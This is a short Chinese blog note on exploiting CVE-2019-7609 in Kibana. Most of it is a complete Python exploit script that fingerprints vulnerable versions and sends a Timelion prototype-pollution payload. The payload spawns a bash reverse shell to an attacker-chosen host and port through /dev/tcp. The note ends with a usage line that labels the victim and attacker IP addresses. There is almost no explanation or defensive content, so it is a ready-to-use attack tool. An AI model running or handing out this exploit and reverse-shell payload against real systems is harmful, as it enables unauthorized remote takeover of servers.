【笔记】CVE-2019-7609漏洞利用

前言

利用LandGrey/CVE-2019-7609实现Kibana的远程命令执行漏洞利用

下载项目

1
2
https://github.com/LandGrey/CVE-2019-7609.git
cd CVE-2019-7609

源代码

CVE-2019-7609-kibana-rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import re
import sys
import time
import random
import argparse
import requests
import traceback
from distutils.version import StrictVersion

def get_kibana_version(url):
headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
url = "{}{}".format(url.rstrip("/"), "/app/kibana")
r = requests.get(url, verify=False, headers=headers, timeout=30)
patterns = ['"version":"(.*?)",', '"version":"(.*?)",']
for pattern in patterns:
match = re.findall(pattern, r.content)
if match:
return match[0]
return '9.9.9'


def version_compare(standard_version, compare_version):
try:
sc1 = StrictVersion(standard_version[0])
sc2 = StrictVersion(standard_version[1])
cc = StrictVersion(compare_version)
except ValueError:
print("[-] ERROR : kibana version compare failed !")
return False

if sc1 > cc or (StrictVersion("6.0.0") <= cc and sc2 > cc):
return True
return False


def verify(url):
global version

if not version or not version_compare(["5.6.15", "6.6.1"], version):
return False
headers = {
'Content-Type': 'application/json;charset=utf-8',
'Referer': url,
'kbn-version': version,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
data = '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}'
url = "{}{}".format(url.rstrip("/"), "/api/timelion/run")
r = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
if r.status_code == 200 and 'application/json' in r.headers.get('content-type', '') and '"seriesList"' in r.content:
return True
else:
return False


def reverse_shell(target, ip, port):
random_name = "".join(random.sample('qwertyuiopasdfghjkl', 8))
headers = {
'Content-Type': 'application/json;charset=utf-8',
'kbn-version': version,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
}
data = r'''{"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"if [ ! -f /tmp/%s ];then touch /tmp/%s && /bin/bash -c \\'/bin/bash -i >& /dev/tcp/%s/%s 0>&1\\'; fi\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"10s","timezone":"Asia/Shanghai"}}''' % (random_name, random_name, ip, port)
url = "{}{}".format(target, "/api/timelion/run")
r1 = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
if r1.status_code == 200:
trigger_url = "{}{}".format(target, "/socket.io/?EIO=3&transport=polling&t=MtjhZoM")
new_headers = headers
new_headers.update({'kbn-xsrf': 'professionally-crafted-string-of-text'})
r2 = requests.get(trigger_url, verify=False, headers=new_headers, timeout=20)
if r2.status_code == 200:
time.sleep(5)
return True
return False


if __name__ == "__main__":
start = time.time()

parser = argparse.ArgumentParser()
parser.add_argument("-u", dest='url', default="http://127.0.0.1:5601", type=str, help='such as: http://127.0.0.1:5601')
parser.add_argument("-host", dest='remote_host', default="127.0.0.1", type=str, help='reverse shell remote host: such as: 1.1.1.1')
parser.add_argument("-port", dest='remote_port', default="8888", type=str, help='reverse shell remote port: such as: 8888')
parser.add_argument('--shell', dest='reverse_shell', default='', action="store_true", help='reverse shell after verify')

if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
target = args.url
remote_host = args.remote_host
remote_port = args.remote_port
is_reverse_shell = args.reverse_shell

target = target.rstrip('/')
if "://" not in target:
target = "http://" + target
try:
version = get_kibana_version(target)
result = verify(target)
if result:
print("[+] {} maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability".format(target))
if is_reverse_shell:
result = reverse_shell(target, remote_host, remote_port)
if result:
print("[+] reverse shell completely! please check session on: {}:{}".format(remote_host, remote_port))
else:
print("[-] cannot reverse shell")
else:
print("[-] {} do not exists CVE-2019-7609 vulnerability".format(target))
except Exception as e:
print("[-] cannot exploit!")
print("[-] Error on: \n")
traceback.print_exc()

漏洞利用

<ip_remote>:受害者IP地址
<ip_local>:攻击者IP地址
<port_local>:攻击者端口号

1
python2 CVE-2019-7609-kibana-rce.py -u http://<ip_remote>:5601 -host <ip_local> -port <port_local> --shell

完成

参考文献

哔哩哔哩——xiaodisec